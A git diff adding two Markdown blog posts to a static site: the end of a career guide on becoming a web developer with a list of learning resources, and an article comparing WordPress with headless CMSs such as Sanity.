+  - src/data/categories/javascript.yaml
+tags:
+  - src/data/tags/links.yaml
+show_author_bio: true
+related_posts:
+  - src/pages/blog/accessibility.md
+  - src/pages/blog/adding-css-to-your-html.md
+  - src/pages/blog/beginners-guide-to-python.md
+  - src/pages/blog/code-playgrounds-of-2021.md
+cmseditable: true
+---
+
+## What Is a Web Developer?
+
+A website can have anywhere from a single person to an entire team behind it, but at minimum, it needs a [web developer](https://kinsta.com/blog/hire-wordpress-developer/). These people write the code that gets a website working and visible on the world wide web.
+
+The primary task of a web developer is to write code, which is a set of commands and instructions written in a particular programming language. Code makes up everything in the online world, from your computer’s operating system to the backend of a website you visit.
+
+Take a look at Wikipedia’s homepage and imagine what it might take to create even such a simple website. A web developer set up the layout of this page, from the sidebar to the tables to the top bar. They had to set up scripts to take blurbs from the featured articles and request dynamic content from the site.
+
+A database stores these articles and their revisions, also set up by a developer.
+
+Wikipedia homepage
+
+It takes a ton of work, but everything comes together piece by piece to create a functional website.
+
+With the exponential rise of the internet, programmers are in high demand and have a great job outlook. Everyone wants to have their website, and web developers are here to help them make it.
+
+[Want to work in web development... but no idea where to start? 😅 This post has the best online learning platforms, web development tools, and career info you’ll need ⬇️Click to Tweet](https://twitter.com/intent/tweet?url=https%3A%2F%2Fkinsta.com%2Fblog%2Fhow-to-become-a-web-developer%2F&via=kinsta&text=Want+to+work+in+web+development...+but+no+idea+where+to+start%3F+%F0%9F%98%85+This+post+has+the+best+online+learning+platforms%2C+web+development+tools%2C+and+career+info+you%E2%80%99ll+need+%E2%AC%87%EF%B8%8F&hashtags=WebDev%2CTechCareers)
+
+## What Does a Web Developer Do?
+
+Wondering what exactly your daily tasks are? Here’s the general job description for a web developer:
+
+-   Use code to create websites and prototypes
+
+-   Design a visually appealing layout for a website (either from scratch or with the help of a [web designer](https://kinsta.com/blog/responsive-web-design/))
+
+-   Maintain active websites by [cleaning up code](https://kinsta.com/blog/code-review-tools/) and debugging errors
+
+-   Create a database [using SQL](https://kinsta.com/knowledgebase/what-is-mysql/)
+
+-   Work with clients to decide on project scope and figure out the fine details of website features and design
+
+There are dozens of ways you can specialize, which will change your job description a fair bit. For instance, you could choose to work in frontend or backend technologies, or you could [become a systems administrator](https://kinsta.com/blog/sysadmin/) responsible for keeping servers up and running.
+
+But in general, these are the most basic tasks you’ll be responsible for.
+
+## Why Become a Web Developer?
+
+While it may not be for everyone, web development has a shallow barrier to entry and is one of the most accessible jobs you can pick up. Despite this, it pays reasonably well, and web developers are always in demand.
+
+That’s not to say that the work isn’t often challenging, but the fundamentals are very quickly self-taught (and many developers like the challenge!).
+
+Breaking into the ever-growing tech industry is always a good choice long-term. If you’re willing and able to pursue [popular coding languages](https://kinsta.com/blog/scripting-languages/) — and in web development, there’s always a hot new language employers are scrambling to hire for — you’re almost guaranteed a steady job.
+
+Popular coding languages between 2020–21
+
+Finally, web development is a flexible job. Your career may be spent [doing freelance work](https://kinsta.com/blog/best-tools-for-freelancers/) or at a [company with a salary](https://kinsta.com/developer-roles/development-at-kinsta/). The tasks you do and the skills or languages you focus on are up to you.
+
+You’ll need to try out programming before you can say if it’s right for you, but if you put in the work to try beginner coding and find that it makes sense, then you may make a good web developer.
+
+### Web Developer Salary and Demand
+
+If you’re considering becoming a web developer, it’s good to know what sort of salary you can expect and how easy it will be to get a job.
+
+You can check our write-ups on [the average web developer salary](https://kinsta.com/blog/web-developer-salary/), plus [PHP developers](https://kinsta.com/blog/php-developer-salary/) and [WordPress developers](https://kinsta.com/blog/wordpress-developer-salary/).
+
+But the consensus is that the average developer makes $60k–75k/year.
+
+Average developer base salary in June 2021
+
+Of course, the pay will depend on your experience level, the languages and technologies you pursue, and whether you freelance or work a steady job. But it’s a reasonable estimate to start with.
+
+As for demand, the US Bureau of Labor predicts that [demand for web designers and developers will grow 8%](https://www.bls.gov/ooh/computer-and-information-technology/web-developers.htm#tab-6) from 2019–29. For reference, that’s double what most occupations on average are projected to grow.
+
+U.S. Bureau of Labor statistics on increases in employment opportunities for web developers
+
+Some web developer jobs are more competitive than others — positions like frontend developer, which are far easier to pick up, may pay less well and be more laborious to find a job for — but the outlook is still outstanding.
+
+## How Hard Is It to Become a Web Developer?
+
+Web development is one of the most straightforward jobs to get into — if you can figure out programming. Not all jobs are for everyone, and there will be those who may struggle to wrap their heads around code.
+
+For some people, becoming a web developer will be a breeze. For others, it may never quite click with you. But for most people, a little dedication and a lot of practice will go a long way.
+
+The process of becoming a web developer is much less convoluted than other jobs, and there are [more paths available](https://kinsta.com/blog/php-vs-angular/) to get you on the right track. It’s also a much more flexible, varied job with lots of different specializations. So whatever your learning style or skills you’re suited for, there’s something for you.
+
+Mastering web development will take ongoing work and dedication, and it’s a job that offers a challenge and requires problem-solving skills. It’s easy to learn the basics, but expect to encounter frustrating yet solvable problems along the way.
+
+### Web Development Requirements
+
+Curious about what you’ll need to become a web developer? The exact requirements depend on where you’re specializing. For instance, a backend developer should generally create and edit a database, but you cannot expect the same of a frontend developer.
+
+In addition, the programming languages and frameworks you know will distinguish you as a specific type of developer.
+
+Still, here are some skills and knowledge you’ll need, regardless of specialization, before you can call yourself a web developer:
+
+-   Proficiency in at least one web language. Depending on your position, you will likely need to learn more.
+
+-   Knowledge in other related skills ([web frameworks](https://kinsta.com/blog/php-vs-angular/), libraries, [Git](https://kinsta.com/knowledgebase/git-vs-github/), etc.).
+
+-   Problem-solving skills are required to work with and debug code.
+
+-   Attentive to details to stop bugs from happening in the first place.
+
+-   Communication and team skills are essential to work with other developers, clients, designers, and testers.
+
+-   A degree of independence and being able to problem-solve on your own.
+
+-   Self-motivated learning is another necessary skill for success.
+
+-   Familiarity with [popular web development tools](https://kinsta.com/blog/web-development-tools/) is valuable.
+
+### Do You Need a Degree to Become a Web Developer?
+
+Many jobs request that applicants have an associate’s degree in computer science or a similar field. Other positions may ask for a bachelor’s degree or just certification from an online course.
+
+However, you do not strictly need a college degree to get a job. Experience and a [complete portfolio](https://kinsta.com/blog/portfolio-website/) are often far more valuable. More and more job listings are skipping out on requiring a degree and opting to ask for proof of experience.
+
+As this is a highly technical field with plenty of room for self-teaching, it’s more important that you know how to do the job than that you’re certified to do it. That said, a degree will make it simpler from the start.
+
+Self-taught developers may find difficulty landing their first job with neither experience nor a degree. You’ll likely need to fill your portfolio with self-made projects first or turn to freelance to build up some job history.
+
+If you don’t want a formal college degree, online certifications like those offered by coding bootcamps can be a suitable replacement.
+
+### Types of Web Developers
+
+Web development is a highly specialized career. You’ll rarely find a person who describes themselves simply as a “web developer.” Depending on what you do, which part of the website you focus on, and what technologies you work with, you can choose from a wide array of job titles.
+
+-   **Frontend developer:** A widespread choice as the skills are easy to pick up, frontend/client-side developers work on the front-facing website. Languages of choice are [HTML](https://kinsta.com/blog/html-vs-html5/), CSS, and JavaScript. Bootstrap and jQuery are also popular technologies.
+
+-   **Backend developer:** These developers work with technologies like the server and database. No backend developer is the same, as there are dozens of backend programming languages. Common choices are Java, Ruby, [PHP](https://kinsta.com/blog/php-tutorials/), Python, and [MySQL](https://kinsta.com/knowledgebase/what-is-mysql/).
+
+-   **Full-stack developer:** A combination of frontend and backend developers. They know enough languages to get by on the server and client sides.
+
+These are the main three, but you can specialize further by becoming a web engineer, security expert, [WordPress developer](https://kinsta.com/blog/wordpress-developer-salary/), mobile web developer, web application developer, and more.
+
+## Steps to Becoming a Web Developer
+
+You can take various paths to become a web developer, and your own experience will present unique challenges. But generally, most web development careers follow a similar form.
+
+First, you need to choose how you’ll learn development. Will you be going to college? What sort of degree are you pursuing? An associate’s or bachelor’s degree related in some way to computer science is best.
+
+If you’re not going to college, will you try to get certified? Certification or not, will you take a paid or free online course? Or are you going all-in to teach yourself using [only online resources](https://kinsta.com/blog/php-tutorials/)?
+
+After you’ve decided that, you’ll need to pick a specialization (frontend, backend, full-stack, etc.). You can put this off as you experiment with different aspects of web development, but you need to choose before pursuing a narrowed study.
+
+Next, is what [programming languages](https://kinsta.com/blog/best-programming-language-to-learn/) and technologies do you want to learn?
+
+All this may come in a different order. You may choose to specialize or go in already knowing what languages you want to learn and then select a course accordingly.
+
+### Want to know how we increased our traffic over 1000%?
+
+Join 20,000+ others who get our weekly newsletter with insider WordPress tips!
+
+[Subscribe Now](https://kinsta.com/blog/how-to-become-a-web-developer/#newsletter)
+
+After you’ve picked up some web development skills, you’ll need to get some projects under your belt for your portfolio. Hands-on experience will also give you a better idea of what to expect in a real job. [Set up your first server](https://kinsta.com/knowledgebase/mysql-community-server/) and [design a website](https://kinsta.com/blog/responsive-web-design/) for yourself. A few small projects will set you on the right track.
+
+With the knowledge you need and a [great starting portfolio](https://kinsta.com/blog/wordpress-portfolio-plugins/), you’ll be ready for your first job.
+
+## The Best Web Development Learning Resources
+
+Ready to try web development for yourself? We’ve collected over a dozen great resources to get you started. If you’re choosing to teach yourself or learn online, this is the place to start. And for those going to college, they’re great supplements to your courses.
+
+### 1. StackOverflow
+
+StackOverflow
+
+The first rule of being a developer is to use [StackOverflow](https://stackoverflow.com/). Every developer knows that this is the place to turn to when you’re stuck on a project. Your question has likely been asked and answered. If not, the [community](https://kinsta.com/learn/wordpress-communities/) of experienced professionals is eager to help.
+
+While this isn’t strictly a beginner’s learning resource, it will be there for you every step of the way.
+
+### 2. W3Schools
+
+W3Schools
+
+[W3Schools](https://www.w3schools.com/) is an excellent beginner’s resource that will walk you through the fundamentals of various web languages and standards. It’s super easy to understand, even if you’re not used to coding.
+
+### 3. Codecademy
+
+Codecademy
+
+If you need a beginner-friendly course that offers over a dozen languages and technologies, [Codecademy](https://www.codecademy.com/) is the place to turn. Better yet, the bulk of the content is free. While there are premium features, the courses themselves are fully available for free.
+
+### 4. Udemy
+
+Udemy
+
+Need some more advanced courses, or ones in more specific skills? [Udemy](https://www.udemy.com/) might be the right site for you. There are thousands of courses made by professional instructors, and some even allow you to become accredited.
+
+### 5. GitHub Learning Lab
+
+GitHub Learning Lab
+
+[Git](https://kinsta.com/knowledgebase/git/) can be very difficult to understand if you have no prior technical skills. It’s easy once you get the hang of it, but crossing that first hurdle can be tricky. [GitHub Learning Lab](https://lab.github.com/) walks you through it with a simple, fun, and interactive tutorial.
+
+### 6. DevKinsta
+
+DevKinsta
+
+Interested in [learning WordPress development](https://kinsta.com/blog/learn-wordpress/)? Make [DevKinsta](https://kinsta.com/devkinsta/) your first stop. It’s a free development suite that makes starting up a local WordPress server painless. Use it for testing and development and push the final result right to a Kinsta server.
+
+### 7. FreeCodeCamp
+
+FreeCodeCamp
+
+Want to learn to code and get certified while doing it? Unlike Codecademy, [FreeCodeCamp](https://www.freecodecamp.org/) is 100% free due to it being a nonprofit. Each certification path is estimated to take around 300 hours, and you can choose from a variety of different skills to learn.
+
+### 8. DevDocs
+
+DevDocs
+
+Any developer knows that finding documentation for dozens of different tools can be annoying. [DevDocs](https://devdocs.io/) is a free and open source tool that combines all this documentation into a single, easy-to-navigate app.
+
+### 9. Team Treehouse
+
+Team Treehouse
+
+[Treehouse](https://teamtreehouse.com/) is a helpful beginner’s resource that aims to teach you web development and other fundamentals from scratch. The video-based learning platform also includes interactive challenges. Though a premium service, it’s an excellent starting point for developers.
+
+### 10. Coursera
+
+Coursera
+
+[Coursera](https://www.coursera.org/) has one unique advantage unlike other [learning platforms](https://kinsta.com/blog/wordpress-lms-plugins/): You can use it to earn both certification and full college degrees from technical universities. It can be cheaper than enrolling in college, but you’ll learn nearly the same content and work with the same professors as university students.
+
+As Coursera offers accredited and nonaccredited courses, make sure you know what you’re getting into if you’re aiming for a legitimate college degree.
+
+### 11. Egghead.io
+
+Egghead.io
+
+[Egghead](https://egghead.io/) contains helpful, bite-sized lessons on a variety of development subjects. There are several dozen topics to choose from, each with even more articles covering every development aspect you can imagine. You can also find courses offered by professional instructors.
+
+### 12. CSS-Tricks
+
+CSS-Tricks
+
+While not a series of courses, [CSS-Tricks](https://css-tricks.com/) offers high-quality articles on frontend web development. If you want to [master Javascript](https://kinsta.com/blog/javascript-libraries/) or CSS, there’s plenty of reading material and how-to articles here.
+
+### 13. Udacity
+
+Udacity
+
+[Udacity](https://www.udacity.com/) is a tech-focused provider of paid online courses. Along with web development, you can take highly specialized classes, such as [cybersecurity](https://kinsta.com/blog/cloud-security/), data science, business, and more.
+
+### 14. Coding Bootcamp Programs
+
+If you learn best through intense programs full of crunching, you may want to turn to coding bootcamps. You can find them at all levels — there are even coding bootcamps for beginners that will teach you the ropes, as well as programs for professionals that’ll keep you on your toes.
+
+While colleges or other classes often offer them, you can also do online bootcamps. Some of them are paid courses, and some are free. It all depends on which you choose.
+
+This way of learning is a lot more stressful, but it can certainly be motivating if you’re struggling with code.
+
+There are plenty of coding bootcamps online, but you can start by looking into [HackReactor](https://www.hackreactor.com/online-coding-bootcamp), [Fullstack Academy](https://www.fullstackacademy.com/online-coding-bootcamp), and [CodeSmith](https://codesmith.io/).
diff --git a/src/pages/blog/wordpress-vs-headless-cms.md b/src/pages/blog/wordpress-vs-headless-cms.md
new file mode 100644
index 0000000000..38884d9e94
--- /dev/null
+++ b/src/pages/blog/wordpress-vs-headless-cms.md
@@ -0,0 +1,468 @@
+---
+title: Wordpress VS Headless CMS
+template: post
+subtitle: What is a Content Management System (CMS)
+excerpt: What is a Content Management System (CMS)
+date: 2022-05-29T02:04:35.310Z
+image: https://img.youtube.com/vi/PPtmowJoe3s/sddefault.jpg
+thumb_image: https://img.youtube.com/vi/PPtmowJoe3s/sddefault.jpg
+image_position: top
+author: src/data/authors/bgoonz.yaml
+categories:
+    - src/data/categories/content-management.yaml
+tags:
+    - src/data/tags/data-structures-algorithms.yaml
+    - src/data/tags/cms.yaml
+show_author_bio: true
+related_posts:
+    - src/pages/blog/code-playgrounds-of-2021.md
+cmseditable: true
+---
+
+## Introduction:
+
+-   _What is a Content Management System (CMS)?_
+
+A content management system, or CMS, is a software program that allows users to create and maintain websites without having to write them from the ground up or even knowing how to code.
+
+A content management system (CMS) allows you to generate, manage, change, and publish material using a user-friendly interface. Rather than coding, you may change the look and functionality of your site by downloading or purchasing templates and plugins. You can have several users collaborating in the same tool's backend, among other things.
+
+-   _Evolution of CMS: The new scaffolding_
+
+Like all good things, CMS's emerged in their final form after a lot of evolution throughout the years.
+
+In the early 90s, flat HTML files were popular, but around 1993, we got our first visual support. This paved the way for the launch of Internet Explorer browser, which supported CSS. After this, the next step was working towards dynamic content. DOM came about in 1997 and allowed us to identify and manage elements of a document programmatically.
+
+Now fast forward to 2010s, the DXP platform emerged, where we could create and deliver integrated and optimized customer experiences across all digital media, all audiences (while keeping the focus on the customer), and all phases of the user/customer journey.
+
+We have come along with CMSs indeed.
+
+## WordPress CMS: The choice of an all-inclusive frontend and backend
+
+WordPress is an open-source platform for building websites. WordPress is a content management system (CMS) developed in PHP that uses a MySQL database.
+
+Any website that uses WordPress as its content management system is referred to as a WordPress website (CMS). Both the backend (the interface where a user signs in to make changes or add new material) and the frontend (the visible part of the website that your visitors see on the web) are powered by WordPress in most cases.
+
+Bear in mind that some WP REST API and AngularJS expertise will be required to build a WordPress-powered frontend application. On the other hand, with WordPress as the backend, you will be able to create any application. With a combination of either of these, you can deviate from the common WordPress theme and admin model. (Keep in mind you will need the help of wireframes forbuilding a WordPress-powered frontend application)
+
+There are a few things you should know if you're just getting started with WordPress. To begin, you must first understand the distinction between WordPress.com and WordPress.org.
+
+If you're unfamiliar with WordPress, the distinction between WordPress.com and WordPress.org might be perplexing.
+
+WordPress.com
+
+i.) WordPress.com is a hosted version of WordPress where you may establish a blog or website by signing up for a WordPress.com account.
+
+ii.) A custom domain, additional storage space, Google Analytics connection, the option to install your plugins and themes, and other features are all available as paid upgrades.
+
+iii.) The word "WordPress" will be included in your website's URL or domain by default, such as mysite.wordpress.com.
+
+WordPress.org
+
+i.) The WordPress software may be downloaded from WordPress.org and installed on your server or web hosting account.
+
+ii.) The WordPress software is open-source, which means you may download and use it for free.
+
+iii.) You'll need a domain name and web hosting from another trustworthy business to utilize the WordPress.org version of WordPress.
+
+iv.) If you don't want to install WordPress manually, most web providers offer a WordPress "fast install" or "done-for-you" installation to assist you in getting started.
+
+## Headless CMS: The alternative
+
+Content, images, HTML, and CSS were all thrown into one massive bucket in the conventional CMS style to manage content. Because the material was intertwined with code, it was hard to reuse.
+
+As digital platforms have grown, more adaptable solutions have been necessary. Desktop websites, mobile sites, applications, digital displays, conversational interfaces, and more are now being developed by businesses.
+
+Meanwhile, traditional content management systems (CMS) have fallen behind. Why? Because a CMS organizes material into webpage-oriented frameworks, the same content cannot be adapted to other digital platforms.
+
+Any back-end content management system in which the content repository "body" is isolated or disconnected from the presentation layer "head" is known as a headless CMS. Content stored in a headless CMS is provided via APIs to ensure that it is shown consistently across devices.
+
+Some conventional CMS solutions have a "headless API" that lets you deliver content to a different display layer. Because the presentation layer is isolated from the body, this is referred to as "headless."
+
+## Headless CMS: Benefits & Drawbacks
+
+### The Advantage of the Headless CMS Architecture
+
+-   Multi Channel Content Delivery
+
+A single content source, such as a product description for an online product, can automatically adapt to its publishing environment and present itself optimally for its destination.
+
+-   More Secure
+
+Because it is distinct from the frontend, headless content provides a far less exposed region of a possible assault.
+
+-   Faster Editing Experiences
+
+In a headless CMS, the separation of code and content makes life easier for content writers and editors, who can ignore the code and focus solely on the material they are responsible for.
+
+-   Compatibility
+
+API-delivered content is easier to integrate, edit, and disseminate, cutting down on time to develop content-driven experiences like websites and applications.
+
+-   Rapid Content Deployment (via API)
+
+Most headless CMS-s use an API-first approach that allows developers to stream in content quickly. You may easily scale or deploy additional channels within a couple of hours.
+
+Find out how to create GraphQL APIs here​.
+
+![Create APIs with Hasura to save 30%+ app dev costs](https://cdn.sanity.io/images/ay6gmb6r/production/3c59f37c1399b5e98fd9b34c040a8b3c93fed2dd-2853x813.png?w=729&fm=webp&fit=max&auto=format 'Create APIs with Hasura to save 30%+ app dev costs')[
+
+](https://www.solutelabs.com/blog/hasura-api-development)
+
+-   Scalability
+
+Instead of implementing multiple, parallel content management system instances, e.g., to support web and mobile channels, a single headless CMS instance can serve unlimited digital channels.
+
+-   Flexibility
+
+Developers, meanwhile, can use all the latest tools and frameworks to bring content experiences to life on any modern platform without being locked into a proprietary language or other limitations of a particular content management system.
+
+-   Modular Content
+
+Since the content in your headless CMS isn't tied to any particular front-end display, it becomes modular, allowing it to be handled and delivered across any applicable touchpoint without having to be duplicated or restructured.
+
+-   Choice of media (Video, Audio)
+
+Headless CMS isn't just about textual content anymore. It now integrates other forms of media like audio and video.
+
+### The Challenges of Using a Headless CMS
+
+-   Rigid presentation
+
+Your medium is fixed with a second-screen experience; unlike websites, which allow you to customize zones and resize and rearrange dynamic information, a fixed medium (such as a mobile app container or kiosk) is limited to presenting dynamic content in a defined zone. This means you can add and remove information, but you won't be able to change the positioning or presentation much beyond that.
+
+-   Expensive development
+
+Because a headless CMS lacks a frontend, a development team would require hours to create one, which may be costly and time-consuming.
+
+-   Formatting challenges
+
+To adapt to managing various systems, a headless CMS team would need to extend its knowledge substantially.
+
+-   Content Reorganization
+
+Because this architecture does not include notions such as sitemaps and pages, content editors may need to adapt to the unique content structure on the website or other channels.
+
+### Use Cases for A Headless CMS
+
+Headless CMS can be ideal for the following use cases:
+
+1\. Content-friendly
+
+It makes content generation, administration, and editing easier for big content teams with daily deadlines.
+
+Because headless CMS is essentially an API, the content saved in it is easier to handle and integrate with other systems than information kept in a traditional CMS.
+
+Connecting a headless CMS to any frontend platform is simple, and content teams have more choices with this approach than with traditional CMS's built-in extensions.
+
+2\. Serving the same content on different channels
+
+Content providers can distribute their work across any channel. They can also repurpose material across several platforms. It will be simple for developers to add a few lines of code to the API whenever a new channel is introduced to the marketing strategy. For both marketers and engineers, this is a typical win-win situation.
+
+3\. Capable of using Javascript frameworks
+
+Frameworks like VueJs, React, and Angular may be used to create SPAs. This will combine a headless CMS on the backend with Single Page Applications on the frontend to provide enhanced capabilities for content creators.
+
+Applications include:
+
+1\. Websites & Web Apps
+
+2\. Products & Services
+
+3\. Ecommerce Sites
+
+## WordPress: Benefits & Drawbacks
+
+### Advantages of WordPress
+
+-   Ease of Installation
+
+The installation procedure for WordPress is straightforward and quick, making it a pleasure to get started. All you have to do now is create your web pages and upload your database. If you're using FTP, just create a database, upload WordPress, and install it to get going.
+
+-   Easy Media Management
+
+To enrich the content on your WordPress website, you may quickly add images, videos, and other media components. It has a drag-and-drop mechanism that lets you quickly drag and drop media content into the uploader to have it posted. You can also use image editing features if necessary.
+
+-   Responsive Design
+
+Because mobile has become the most effective method of getting traffic for company websites, they must be responsive to attract potential customers via the mobile channel. WordPress has a responsive design that assures that your website is optimized well on various devices without requiring you to put in extra effort to create separate web pages for each one.
+
+-   Ease of Use
+
+The most appealing characteristic of WordPress is its simplicity. Because the program has an intuitive interface, anyone can become a professional while playing around with it. It has an integrated dashboard that allows users to create new pages, articles, or categories, modify themes and settings, and much more. Because the open-source platform is free, it is a cost-effective alternative.
+
+-   Lots of Theme Options
+
+Themes determine a site's appearance and navigation. WordPress offers a variety of theme choices that may be modified to meet specific company needs. Users may download themes based on their needs and experiment to create attractive websites that reflect their company's brand with a similar online presence.
+
+-   Availability of Plugins
+
+This platform's bedrock is made up of plugins. Users may modify the site and add the required features and functions by using plugins. Installing a plugin is all that is needed to add a new feature to the site. Surprisingly, there are many of them, and most of them are either free or reasonably priced.
+
+-   E-commerce-friendly
+
+WooCommerce, a free WordPress eCommerce plugin, allows you to create visually beautiful and feature-rich e-commerce stores. WooCommerce is a sophisticated e-commerce system that integrates easily with WordPress and provides shop owners and developers total flexibility over how to sell their products online.
+
+-   Minimum Coding Required
+
+The necessity for coding is reduced to a minimum with WordPress since the CMS comes with various user-friendly features that allow you to do a lot without putting in a lot of effort. Content management, draft creation, post revision, media insertion, and publication planning may all be done with little to no code.
+
+### Challenges of WordPress
+
+-   Additional Features Require Lots of Plugins
+
+When you buy a design template, you usually get entirely created website pages that need to be customized with your branded content.
+
+If your agency wants to add some more features to your website, it will have to look for plugins on WordPress. Some plugins are free, while others cost money. Often the plugins discovered are obsolete and no longer in use.
+
+If you want to embed your Instagram feed on your website, for instance, you'll need to download a plugin called InstaWidget.
+
+The plugins would have to be installed, managed, and updated by your agency. This is tough to handle and seldom happens with agencies.
+
+-   The Updates Keep Pouring In
+
+Remember that things are continuously evolving in the digital era to enrich and enhance the user experience.
+
+Your firm would have to keep checking your website's dashboard to determine whether your theme or plugins needed to be updated regularly. This is something your team may overlook due to other initiatives that need to be examined and updated frequently.
+
+Remember that with all technological improvements, there will be bugs and mistakes. Your site may encounter faulty links or even crash.
+
+-   Slow-Loading Pages
+
+WordPress is still a sluggish platform due to all of the additional plugins, oversaturated databases, and codebases.
+
+However, those aren't the only factors that might cause your website to load slowly. Your website's performance might be affected by large pictures, a lot of text on a page, and unstable hosting.
+
+Your website's page speed is critical. You want a quick-loading website so that your visitors don't get frustrated and leave, which might cost you sales because they won't see what you have to offer.
+
+-   Poor SEO Ranking
+
+WordPress only includes a few SEO tools in its packages, which are insufficient to help you rank in Google.
+
+If you want to get the most out of your SEO efforts, you'll need more powerful tools and technology to compete with other businesses in a crowded market.
+
+Furthermore, you will want a third-party targeting thousands of relevant keywords rather than just a few, which can be a hassle.
+
+-   Your Website Might Go Down Without Notice
+
+Websites might go down for a variety of reasons and without warning.
+
+You might not know your site is unavailable if you aren't paying closely. It might be down for a few hours or perhaps days, causing significant disruption to your company operation.
+
+Then you'll have to pay a company to assist you in getting it back up, which is another expenditure you don't want to incur.
+
+-   Flimsy Security
+
+Your website, like anything else on the internet, is vulnerable to being hacked and spammed.
+
+WordPress is a frequent target for hackers because of its popularity. Even if your firm installs all of WordPress' security plugins, it won't be enough to keep your site safe.
+
+If you have a blog area that enables comments or a contact us form, your website will likely get spammed. And going through the comments and emails might take a long time.
+
+Any website flaw might harm your reputation and even distribute malware to your users.
+
+### Use Cases for WordPress
+
+A WP framework is best used for:
+
+1\. Blogs
+
+WordPress began as a blogging platform and grew into a comprehensive content management system. Tens of millions of blogs now use WordPress to post and curate content. Large online magazines like TechCrunch and Time use WordPress to power their sites; in some ways, they're classic blogs with many front-end and back-end customization.
+
+2\. Entertainment
+
+Many comic-book websites and tv-channel websites like WGN TV are built on WordPress.
+
+3\. Educational Institutions
+
+WordPress is a content management system; however, because of the system's flexibility and control, we can construct almost any type of website with it. Take Georgia State University's website, for instance.
+
+4\. Communities
+
+WordPress has been used to create several community websites that may be seen online. Fresh Apps is a good example; while it appears to be a standard website, it has about 40,000 registered individuals who contribute to the published apps by making them "fresh." This is only possible if the user is logged in, demonstrating the community component that WordPress can offer to your website.
+
+5\. Business
+
+Do you create software, tools, or apps? To build a company website, you'll need a website foundation. You may easily configure your WordPress installation to seem like a professional company website if you have an adequate understanding of how front-end technology works, as seen in the Raven Tools site!
+
+## WordPress as a Headless CMS: Decoupled or client-side development
+
+Headless WordPress is a type of web app development that is sometimes referred to as decoupled or client-side development. It uses WordPress for content management and a custom frontend stack to show that content to site visitors. While there are numerous advantages to a site created using headless WordPress, one of the most important is decoupling content editing teams and programmers.
+
+With Headless WordPress, the branding or content team may continue to use their familiar WordPress interface. In contrast, the development team can utilize their favorite tools, such as React and GraphQL, in a familiar Git workflow.
+
+In other words, the app's interface is built & controlled by the client --- usually on a browser --- rather than on the server. The interface is created using material received from WordPress by a JavaScript application running in the browser.
+
+WordPress's head, its PHP-based front-end interface, is circumvented in a somewhat macabre metaphor, leaving the body (the CMS itself) on the server, managed remotely by an external program.
+
+How does it work?
+
+A client-side web app and a server-side CMS need to communicate with each other. That is where APIs come in. When an application asks for information or tells other software what to do, it communicates via an API.
+
+WordPress features a REST API, a web-based API that allows the program to communicate with it using HTTP web addresses called endpoints via the internet. Endpoints resemble the web addresses we use to access websites every day. They allow a variety of requests, including GET requests for retrieving information, POST requests for submitting information, and so on.
+
+WordPress, for instance, offers a "posts" endpoint that looks something like this:
+
+<https://example.com/wp-json/wp/v2/posts>​
+
+When software makes a GET call to a WordPress site's "posts" endpoint, it gets a list of posts and related information back.
+
+### Possible drawbacks of a Headless WordPress:
+
+1.) There isn't a WYSIWYG editor
+
+You will forfeit your live preview option if you use an utterly headless approach. You won't be able to quickly test what the user would see on the front end.
+
+2.) Programming skills are required
+
+You'd need a front-end coder now if you didn't have one before. To get the most out of a headless system, you'll need some more sophisticated libraries too.
+
+3.) More upkeep is required
+
+This is especially true in a disconnected setup. You may wind up with two systems to manage, especially in terms of security and upgrades.
+
+4.) Credentialing will be more stringent
+
+Users must be credentialed differently in a headless CMS than in a linked CMS. This might be a time-consuming process, but it does result in a more secure workplace.
+
+### Use Cases for a WordPress Headless CMS
+
+A WP Headless CMS is best used for
+
+1.) Cross-Platform Publishers
+
+Websites are no longer considered independent platforms. Between social media, applications, and even other websites, there is a network of links, and automation keeps everything operating smoothly. You may now publish anything and have it distributed instantaneously across countless different platforms.
+
+Multi-channel publishing is a time-saving strategy used by large internet enterprises. Here are a few instances of what you might be able to do:
+
+-   Add items to your website as well as online merchants such as Amazon and eBay.
+-   Provide material to your partners' websites.
+-   Send a message to your email subscribers informing them of a new post.
+-   When you publish recent blog articles or pages, you may immediately share them on social networking.
+-   Save and organize material in preparation for actual printing.
+-   Use the Internet of Things to your advantage (smart devices).
+
+The REST API, which links your WordPress back end to other apps, allows you to do all of this. An API is just an interface, similar to a controller that you can configure to govern how your server handles data. Now that WordPress is decoupled from its front end, you may use this controller to govern what platforms your site links to and what it does with your data.
+
+For example, if you write a blog post on WordPress, you may set up REST to take that article and publish it on a separate site. It requires some setup, but once it's up and running, everything happens on its own.
+
+2.) App Building
+
+One of the most well-known applications of headless WordPress's cross-platform features is the ability to operate a complete app using simply a website and the REST API. This is an excellent method to feed an application with content, whether a web app or a mobile app.
+
+This is nearly difficult with conventional WordPress. A frontend website is inextricably tied to your back end. This also implies you'll have to use PHP (no mobile apps and no cross-platform frameworks like React).
+
+When you detach it, you may move the content in your back end wherever you want, and it will update immediately on your applications. You are free to use whatever coding language you choose. You're no longer confined to PHP and Javascript. You're ready to go right after you've connected your headless WordPress instance to a mobile app.
+
+Aside from developing an app, there is a slew of other inventive uses for this functionality. You aren't restricted to smartphone apps, for example. There are also web applications. There are different online apps to consider. You could even connect WordPress to your in-store kiosk application to automatically keep its product lists up to date!
+
+Please remember that because Gutenberg is developed using React, you can integrate that into your project.
+
+3.) e-Commerce
+
+Let's take a look at one specific headless option: You may leverage an existing eCommerce platform, such as Shopify, to create a complete flow that handles the whole checkout process, or you can use Shopify's headless option.
+
+-   Because your design will rely mainly on Shopify's templates and out-of-the-box capabilities in the first scenario, modifying the checkout procedure will be doable but restricted.
+-   In the latter instance, you may design your checkout flow as you want, and Shopify will only handle the money transaction.
+
+The main difference is that with the headless option, you'll have to create every view your user sees. If it seems like a pain with no benefit, a headless solution is probably not for you.
+
+A team that requires the headless version will appreciate the flexibility this gives. Your design will be unrestricted, and you'll have complete control over every pixel of every viewpoint. You'll have full control over all the code running on your users' devices, allowing you to track, optimize, and accelerate almost every interaction.
+
+At the same time, you're still entrusting transaction processing to your headless eCommerce solution, allowing you to make use of their backend system.
+
+You can find some examples of headless e-commerce websites [here](https://www.solutelabs.com/blog/top-10-headless-ecommerce-websites-built-on-jamstack)​
+
+## Popular Headless CMS's:
+
+There are many popular headless CMS's in the market right now, like Magnolia, Agility, or even Contentful. But Sanity takes the cake in terms of fame. It is arguably one of the most popular Headless CMS's. Hence, it only fits that we talk about it.
+
+### Sanity: A Headless CMS
+
+Sanity Studio is a headless real-time CMS built with JavaScript and React that you may modify.
+
+-   It has efficient editing and a quick UI for complex fields.
+
+-   It works on tiny screens and is responsive.
+
+-   Customizable input components and plug-in architecture
+
+-   Personalize your look with your images.
+
